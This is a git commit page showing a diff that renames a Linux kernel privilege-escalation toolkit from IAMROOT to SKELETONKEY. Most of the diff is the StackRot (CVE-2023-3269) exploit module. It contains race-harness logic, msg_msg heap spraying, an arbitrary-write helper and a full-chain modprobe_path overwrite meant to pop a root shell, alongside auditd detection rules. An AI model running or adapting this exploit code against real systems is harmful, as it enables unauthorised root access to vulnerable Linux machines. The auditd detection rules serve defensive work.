rename: IAMROOT → SKELETONKEY across the entire project
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / release (push) Blocked by required conditions

Breaking change. Tool name, binary name, function/type names,
constant names, env vars, header guards, file paths, and GitHub
repo URL all rebrand IAMROOT → SKELETONKEY.

Changes:
  - All "IAMROOT" → "SKELETONKEY" (constants, env vars, enum
    values, docs, comments)
  - All "iamroot" → "skeletonkey" (functions, types, paths, CLI)
  - iamroot.c → skeletonkey.c
  - modules/*/iamroot_modules.{c,h} → modules/*/skeletonkey_modules.{c,h}
  - tools/iamroot-fleet-scan.sh → tools/skeletonkey-fleet-scan.sh
  - Binary "iamroot" → "skeletonkey"
  - GitHub URL KaraZajac/IAMROOT → KaraZajac/SKELETONKEY
  - .gitignore now expects build output named "skeletonkey"
  - /tmp/iamroot-* tmpfiles → /tmp/skeletonkey-*
  - Env vars IAMROOT_MODPROBE_PATH etc. → SKELETONKEY_*

New ASCII skeleton-key banner (horizontal key icon + ANSI Shadow
SKELETONKEY block letters) replaces the IAMROOT banner in
skeletonkey.c and README.md.

VERSION: 0.3.1 → 0.4.0 (breaking).

Build clean on Debian 6.12.86. `skeletonkey --version` → 0.4.0.
All 24 modules still register; no functional code changes — pure
rename + banner refresh.
This commit is contained in:
2026-05-16 22:43:49 -04:00
parent 9d88b475c1
commit 9593d90385
109 changed files with 1711 additions and 1701 deletions
+1 -1
View File
@@ -16,7 +16,7 @@ Writeup: <https://lkmidas.github.io/posts/20230724-stackrot/>
Upstream fix: mainline 6.5-rc1 (commit `0503ea8f5ba73`, July 2023).
Branch backports: 6.4.4 / 6.3.13 / 6.1.37.
## IAMROOT role
## SKELETONKEY role
Two-thread race driver (Thread A: mremap rotation on MAP_GROWSDOWN
anchored VMA; Thread B: fork+fault) with cpu pinning. kmalloc-192
@@ -1,12 +0,0 @@
/*
* stackrot_cve_2023_3269 — IAMROOT module registry hook
*/
#ifndef STACKROT_IAMROOT_MODULES_H
#define STACKROT_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module stackrot_module;
#endif
@@ -1,5 +1,5 @@
/*
* stackrot_cve_2023_3269 IAMROOT module
* stackrot_cve_2023_3269 SKELETONKEY module
*
* "Stack Rot": UAF in maple-tree-based VMA splitting. The maple
* tree replaced the rbtree-based VMA store in 6.1; during
@@ -28,7 +28,7 @@
* Per repo policy ("verified-vs-claimed"): we run the trigger,
* record empirical signals (slabinfo delta on kmalloc-192, child
* signal disposition, race iteration count), and return
* IAMROOT_EXPLOIT_FAIL with a continuation roadmap. A SIGSEGV/
* SKELETONKEY_EXPLOIT_FAIL with a continuation roadmap. A SIGSEGV/
* SIGBUS/SIGKILL in the race child IS recorded but does NOT get
* upgraded to EXPLOIT_OK only an actual cred swap (euid==0)
* does, and we do not currently demonstrate that.
@@ -67,7 +67,7 @@
* Affects the 6.1 LTS kernels still widely deployed.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
@@ -148,12 +148,12 @@ static bool maple_tree_variant_present(const struct kernel_version *v)
return false;
}
static iamroot_result_t stackrot_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t stackrot_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] stackrot: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Bug introduced in 6.1 (when maple tree landed). Pre-6.1 kernels
@@ -163,7 +163,7 @@ static iamroot_result_t stackrot_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] stackrot: kernel %s predates maple-tree VMA code (introduced in 6.1)\n",
v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&stackrot_range, &v);
@@ -171,14 +171,14 @@ static iamroot_result_t stackrot_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] stackrot: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!ctx->json) {
fprintf(stderr, "[!] stackrot: kernel %s in vulnerable range\n", v.release);
fprintf(stderr, "[i] stackrot: mm-class bug — affects default-config kernels; "
"no exotic preconditions\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ---- Userns reach ------------------------------------------------- */
@@ -436,7 +436,7 @@ static void *race_thread_b(void *arg)
/* ---- Groom skeleton ---------------------------------------------- */
/* msg_msg sysv spray for kmalloc-192. Tagged with "IAMROOT_" cookie
/* msg_msg sysv spray for kmalloc-192. Tagged with "SKELETONKEY_" cookie
* so a forensic look at /proc/slabinfo / KASAN dumps shows our
* fingerprint. */
static int spray_anon_vma_slab(int queues[STACKROT_SPRAY_QUEUES])
@@ -445,7 +445,7 @@ static int spray_anon_vma_slab(int queues[STACKROT_SPRAY_QUEUES])
memset(&p, 0, sizeof p);
p.mtype = 0x4943; /* 'IC' */
memset(p.buf, 0x49, sizeof p.buf);
memcpy(p.buf, "IAMROOT_", 8);
memcpy(p.buf, "SKELETONKEY_", 8);
int created = 0;
for (int i = 0; i < STACKROT_SPRAY_QUEUES; i++) {
@@ -530,7 +530,7 @@ static int stackrot_reseed_kaddr_spray(int queues[STACKROT_SPRAY_QUEUES],
memset(&p, 0, sizeof p);
p.mtype = 0x4943; /* 'IC' */
memset(p.buf, 0x49, sizeof p.buf);
memcpy(p.buf, "IAMROOT_", 8);
memcpy(p.buf, "SKELETONKEY_", 8);
/* Pack the target kaddr at byte 8 (one qword in) and the
* caller's payload bytes immediately after this way ANY
@@ -619,52 +619,52 @@ static int stackrot_arb_write(uintptr_t kaddr,
#ifdef __linux__
static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
static skeletonkey_result_t stackrot_exploit_linux(const struct skeletonkey_ctx *ctx)
{
/* 1. Refuse-gate: re-call detect() and short-circuit. */
iamroot_result_t pre = stackrot_detect(ctx);
if (pre == IAMROOT_OK) {
skeletonkey_result_t pre = stackrot_detect(ctx);
if (pre == SKELETONKEY_OK) {
fprintf(stderr, "[+] stackrot: kernel not vulnerable; refusing exploit\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (pre != IAMROOT_VULNERABLE) {
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] stackrot: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
fprintf(stderr, "[i] stackrot: already root — nothing to escalate\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!proc_self_maps_readable()) {
fprintf(stderr, "[-] stackrot: /proc/self/maps not readable — exotic env, "
"cannot drive the race\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
{
struct kernel_version v;
if (!kernel_version_current(&v) || !maple_tree_variant_present(&v)) {
fprintf(stderr, "[-] stackrot: maple-tree variant not detectable\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
}
/* Full-chain pre-check: resolve offsets BEFORE forking + entering
* userns. If modprobe_path is unresolvable we refuse here rather
* than running a 30 s race that has no finisher to call. */
struct iamroot_kernel_offsets off;
struct skeletonkey_kernel_offsets off;
bool full_chain_ready = false;
if (ctx->full_chain) {
memset(&off, 0, sizeof off);
iamroot_offsets_resolve(&off);
if (!iamroot_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("stackrot");
skeletonkey_offsets_resolve(&off);
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
skeletonkey_finisher_print_offset_help("stackrot");
fprintf(stderr, "[-] stackrot: --full-chain requested but modprobe_path "
"offset unresolved; refusing\n");
fprintf(stderr, "[i] stackrot: even with offsets, race-win reliability is "
"well below 1%% per run — see module header.\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
iamroot_offsets_print(&off);
skeletonkey_offsets_print(&off);
full_chain_ready = true;
fprintf(stderr, "[i] stackrot: --full-chain ready — race budget extends to "
"%d s, but RELIABILITY REMAINS <1%% per run on a real\n"
@@ -683,7 +683,7 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
signal(SIGPIPE, SIG_IGN);
pid_t child = fork();
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
/* 2. Userns reach. Bug is reachable without it, but userns
@@ -746,7 +746,7 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
uint64_t b_faults = atomic_load(&g_race_b_faults);
/* 6. Empirical witness breadcrumb. */
FILE *log = fopen("/tmp/iamroot-stackrot.log", "w");
FILE *log = fopen("/tmp/skeletonkey-stackrot.log", "w");
if (log) {
fprintf(log,
"stackrot race harness:\n"
@@ -803,11 +803,11 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
.arb_calls = 0,
.region = &region,
};
int fr = iamroot_finisher_modprobe_path(&off,
int fr = skeletonkey_finisher_modprobe_path(&off,
stackrot_arb_write,
&arb_ctx,
!ctx->no_shell);
FILE *fl = fopen("/tmp/iamroot-stackrot.log", "a");
FILE *fl = fopen("/tmp/skeletonkey-stackrot.log", "a");
if (fl) {
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d\n",
fr, arb_ctx.arb_calls);
@@ -815,7 +815,7 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
}
drain_anon_vma_slab(queues);
race_region_teardown(&region);
if (fr == IAMROOT_EXPLOIT_OK) _exit(34); /* root popped */
if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34); /* root popped */
_exit(35); /* finisher ran, no land */
}
@@ -851,7 +851,7 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
/* PARENT */
int status = 0;
pid_t w = waitpid(child, &status, 0);
if (w < 0) { perror("waitpid"); return IAMROOT_TEST_ERROR; }
if (w < 0) { perror("waitpid"); return SKELETONKEY_TEST_ERROR; }
if (WIFSIGNALED(status)) {
int sig = WTERMSIG(status);
@@ -860,20 +860,20 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
"(consistent with UAF firing under KASAN)\n", sig);
fprintf(stderr, "[~] stackrot: empirical signal recorded; no cred\n"
" overwrite primitive — NOT claiming EXPLOIT_OK.\n"
" See /tmp/iamroot-stackrot.log + dmesg for witnesses.\n");
" See /tmp/skeletonkey-stackrot.log + dmesg for witnesses.\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!WIFEXITED(status)) {
fprintf(stderr, "[-] stackrot: child terminated abnormally (status=0x%x)\n",
status);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int rc = WEXITSTATUS(status);
if (rc == 22 || rc == 24) return IAMROOT_PRECOND_FAIL;
if (rc == 23) return IAMROOT_EXPLOIT_FAIL;
if (rc == 22 || rc == 24) return SKELETONKEY_PRECOND_FAIL;
if (rc == 23) return SKELETONKEY_EXPLOIT_FAIL;
if (rc == 34) {
/* Finisher reported root-pop success. The shared finisher
@@ -883,7 +883,7 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] stackrot: --full-chain finisher reported "
"EXPLOIT_OK (race won + write landed)\n");
}
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
}
if (rc == 35) {
/* Finisher ran but didn't land — by far the expected outcome
@@ -893,11 +893,11 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
" win + land within budget (this is the expected\n"
" outcome — race-win reliability is <1%% per run).\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (rc != 30) {
fprintf(stderr, "[-] stackrot: child failed at stage rc=%d\n", rc);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
@@ -906,35 +906,35 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
" implemented (per-kernel offsets; see module .c TODO\n"
" blocks). Returning EXPLOIT_FAIL per verified-vs-claimed.\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
#endif /* __linux__ */
static iamroot_result_t stackrot_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t stackrot_exploit(const struct skeletonkey_ctx *ctx)
{
#ifdef __linux__
return stackrot_exploit_linux(ctx);
#else
(void)ctx;
fprintf(stderr, "[-] stackrot: Linux-only module; cannot run on this host\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
#endif
}
/* ---- Cleanup ----------------------------------------------------- */
static iamroot_result_t stackrot_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t stackrot_cleanup(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json) {
fprintf(stderr, "[*] stackrot: cleaning up race-harness breadcrumb\n");
}
if (unlink("/tmp/iamroot-stackrot.log") < 0 && errno != ENOENT) {
if (unlink("/tmp/skeletonkey-stackrot.log") < 0 && errno != ENOENT) {
/* harmless */
}
/* The race harness's threads + msg queues live in the child
* process which has already exited; nothing else to drain. */
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* ---- Detection rules --------------------------------------------- */
@@ -945,12 +945,12 @@ static const char stackrot_auditd[] =
"# stacks, combined with unshare(CLONE_NEWUSER). Each individual call\n"
"# is benign — flag the *combination* by correlating these keys with a\n"
"# subsequent kernel oops or KASAN message in dmesg.\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-stackrot-userns\n"
"-a always,exit -F arch=b64 -S mremap -k iamroot-stackrot-mremap\n"
"-a always,exit -F arch=b64 -S mprotect -k iamroot-stackrot-mprotect\n"
"-a always,exit -F arch=b64 -S munmap -F success=1 -k iamroot-stackrot-munmap\n";
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-stackrot-userns\n"
"-a always,exit -F arch=b64 -S mremap -k skeletonkey-stackrot-mremap\n"
"-a always,exit -F arch=b64 -S mprotect -k skeletonkey-stackrot-mprotect\n"
"-a always,exit -F arch=b64 -S munmap -F success=1 -k skeletonkey-stackrot-munmap\n";
const struct iamroot_module stackrot_module = {
const struct skeletonkey_module stackrot_module = {
.name = "stackrot",
.cve = "CVE-2023-3269",
.summary = "maple-tree VMA-split UAF (StackRot) → kernel R/W → cred overwrite",
@@ -966,7 +966,7 @@ const struct iamroot_module stackrot_module = {
.detect_falco = NULL,
};
void iamroot_register_stackrot(void)
void skeletonkey_register_stackrot(void)
{
iamroot_register(&stackrot_module);
skeletonkey_register(&stackrot_module);
}
@@ -0,0 +1,12 @@
/*
* stackrot_cve_2023_3269 — SKELETONKEY module registry hook
*/
#ifndef STACKROT_SKELETONKEY_MODULES_H
#define STACKROT_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module stackrot_module;
#endif